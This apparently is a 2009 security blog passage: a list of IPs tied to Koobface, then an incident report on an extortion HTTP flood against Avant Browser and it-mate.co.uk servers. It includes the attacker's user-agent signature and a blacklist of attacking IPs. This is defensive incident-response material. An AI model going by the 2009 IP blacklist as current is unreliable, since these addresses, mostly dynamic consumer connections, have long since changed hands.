69.246.104.204
69.247.217.222
70.116.91.181
70.132.18.136
70.196.165.240
70.200.13.26
70.200.22.129
70.240.248.105
70.246.232.27
70.252.72.9
70.254.86.110
71.104.195.43
71.12.171.154
71.137.2.191
71.142.230.126
71.15.38.227
71.199.27.34
71.202.3.218
71.203.145.2
71.204.95.218
71.226.159.251
71.231.232.152
71.237.17.143
71.239.64.251
71.57.217.54
71.74.144.92
71.91.39.171
72.138.0.112
72.144.178.53
72.178.17.74
72.184.202.19
72.190.116.60
72.191.209.77
72.21.144.8
72.252.226.107
74.198.96.208
74.73.206.236
75.0.227.244
75.11.157.127
75.12.117.128
75.134.2.114
75.136.143.146
75.138.53.43
75.179.62.135
75.194.222.58
75.200.145.96
75.22.24.108
75.22.92.203
75.254.191.101
75.3.137.94
75.45.184.15
75.48.250.116
75.53.116.243
75.62.244.27
75.64.62.247
75.72.97.91
75.76.243.135
75.80.113.32
75.82.161.35
75.83.169.248
75.85.226.121
76.104.166.143
76.104.65.18
76.110.112.33
76.122.229.203
76.127.243.110
76.168.96.194
76.171.237.159
76.172.191.35
76.177.207.194
76.199.15.205
76.199.25.1
76.20.64.85
76.204.38.108
76.210.97.106
76.223.0.45
76.251.230.131
76.251.70.105
76.76.182.253
76.87.86.254
76.91.121.102
76.91.7.42
76.94.109.213
76.98.124.21
76.99.107.55
77.35.183.120
77.35.210.254
77.79.140.253
78.113.249.123
78.145.178.89
78.36.78.223
78.52.134.110
78.73.46.253
79.113.182.102
79.177.100.28
79.183.252.106
79.183.254.194
79.33.233.190
82.114.253.80
82.131.218.7
82.2.152.50
82.81.11.133
83.21.35.246
83.30.230.109
84.110.207.30
84.52.62.235
84.62.176.250
84.73.220.85
85.103.22.229
85.179.99.47
85.227.141.75
85.29.144.166
85.58.36.112
86.108.28.105
86.108.5.179
86.121.65.139
86.3.116.60
87.189.214.152
88.200.178.68
89.138.58.165
89.142.160.38
89.165.75.168
89.191.170.221
89.218.81.61
89.229.255.83
90.151.15.102
91.203.157.210
92.124.77.47
92.40.90.43
93.147.218.186
94.180.247.226
94.253.47.41
95.220.73.82
95.86.107.220
96.39.163.30
97.81.245.4
97.86.3.240
97.92.232.74
97.97.91.169
98.125.185.62
98.151.254.89
98.200.118.46
98.200.78.41
98.215.101.207
98.219.92.193
98.230.132.63
98.246.191.192
98.246.75.3
98.30.10.150
99.130.199.117
99.135.184.151
99.155.156.201
99.160.174.175
99.162.32.33
99.170.152.193
99.177.93.85
99.18.224.124
99.25.149.254
99.53.161.53

I've not yet ran the list through hpObserver to get the PTR's for the IP's, but will do that later (absolutely knackered at the moment, and busy processing over 2000 other phishing domains).

/edit

hpObserver results (includes PTR) for the IP's;

http://hosts-file.net/misc/hpObserver_-_Koobface.html

Monday, 1 June 2009

it-mate.co.uk/Avant Browser servers down

Just an FYI folks, both of the Avant Browser servers are currently down, and I can't get hold of Anderson (there's a number for him in China, but costs a bleedin fortune to call over there, so only gonna do that if I absolutely have to).

I've been on the phone to HopOne, who provide the dedicated servers for Avant, and they're going to reboot the main avantbrowser.com server as it is showing as unreachable, however, they can't do anything about the forum.avantbrowser.com server, which also houses the it-mate.co.uk sites, without Andersons approval, so they're going to send him an e-mail with a reboot request.

If I've not heard from Anderson by 21:00 GMT, I'll give him a call.

I'll update this post when I know more.

Affected servers

209.160.32.64
66.235.180.132

Affected sites

it-mate.co.uk
support.it-mate.co.uk
guestbook.it-mate.co.uk
surl.co.uk
avantbrowser.com
avantforce.com
forum.avantbrowser.com
forum.avantbrowser.cn
wiki.avantbrowser.com
blog.avantforce.com
orcabrowser.com

Apologies for any inconvenience.

/edit 02-06-2009 02:45

I am happy to report, all servers are now back online.

Initial investigations show the downtime was caused by an HTTP flooding attack against the Avant Browser website. Talking to Anderson revealed an attacker from China, incidentally the same country as Anderson, was flooding the server and had contacted Anderson via QQ (apparently the same as WLM) informing him he would not stop the attack until Anderson had paid him the amount asked for. Anderson informed me the attacker only asked for $300, which is the smallest amount I've ever heard of being demanded by an attacker.

At the present time, I don't have very much information on the attacker himself at present (I'll be getting more within the next day or two). However, analysis did show one thing in common - the user agent for all of the IP's he had attacking the servers, was identical;

Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0;+MyIE+3.01)Cache-Control:+no-store,+must-revalidate

Unfortunately for our attacker this made it extremely simple to identify and filter out the flooding, both at the server level, and once we'd given this information to the hosting company, at the hosting co level aswell. No doubt this won't stop him for long as the UA is obviously faked anyway, and can quite easily be changed, but we've also taken the step of adding extra security and filtering to the servers themselves, and have blacklisted the IP ranges of those identified.

The IP's we identified were;

110.6.68.226        Resolution failed
113.87.123.207        Resolution failed
115.102.107.75        Resolution failed
115.102.122.215        Resolution failed
115.102.122.77        Resolution failed
115.102.122.90        Resolution failed
115.51.103.131        Resolution failed
116.113.100.67        Resolution failed
116.117.201.243        Resolution failed
116.30.237.161        Resolution failed
116.7.4.225        Resolution failed
117.136.9.73        Resolution failed
117.22.80.38        Resolution failed
117.69.217.29        29.217.69.117.broad.dynamic.hf.ah.cndata.com
117.8.79.197        Resolution failed
118.78.120.206        Resolution failed
118.78.223.5        Resolution failed
120.0.155.178        Resolution failed
120.142.44.79        Resolution failed
120.7.38.192        Resolution failed
121.201.3.40        Resolution failed
121.229.56.191        Resolution failed
121.230.57.93        Resolution failed
121.34.58.29        Resolution failed
121.42.198.75        Resolution failed
121.8.98.33        Resolution failed
123.118.0.99        Resolution failed
123.12.152.111        Resolution failed
123.14.196.156        Resolution failed
123.152.70.90        Resolution failed
123.17.171.186        Resolution failed
123.18.193.155        Resolution failed
123.19.91.81        Resolution failed
123.234.191.156        Resolution failed
124.131.162.37        Resolution failed
124.164.250.79        Resolution failed
124.64.10.233        Resolution failed
125.110.186.249        Resolution failed
125.121.223.38        Resolution failed
125.75.93.59        59.93.125.75.gs.dynamic.163data.com.cn
194.8.74.11        Resolution failed
210.21.81.133        Resolution failed
211.137.63.183        Resolution failed
211.81.53.58        Resolution failed
218.108.18.108        Resolution failed
218.66.14.152        Resolution failed
218.75.74.50        Resolution failed
218.85.120.61        Resolution failed
218.93.245.56        56.245.93.218.broad.sq.js.dynamic.163data.com.cn
219.140.230.36        Resolution failed
219.147.36.226        Resolution failed
220.165.71.195        195.71.165.220.broad.lj.yn.dynamic.163data.com.cn
220.181.61.220        Resolution failed
220.181.61.230        Resolution failed
221.213.45.244        Resolution failed
221.218.170.104        Resolution failed
221.220.224.242        Resolution failed
221.225.178.197        Resolution failed
221.3.101.143        Resolution failed
222.244.230.111        Resolution failed
58.215.65.183        Resolution failed
58.241.173.233        Resolution failed
58.249.40.255        Resolution failed
58.252.182.163        Resolution failed
58.255.128.187        Resolution failed
58.42.152.174        Resolution failed
58.55.96.159        Resolution failed
60.209.10.192        Resolution failed
60.233.156.208        Resolution failed
61.167.105.6        Resolution failed
76.161.2.106        static-76-161-2-106.dsl.cavtel.net
76.66.22.251        bas2-toronto48-1279399675.dsl.bell.ca

I'll post more in due course.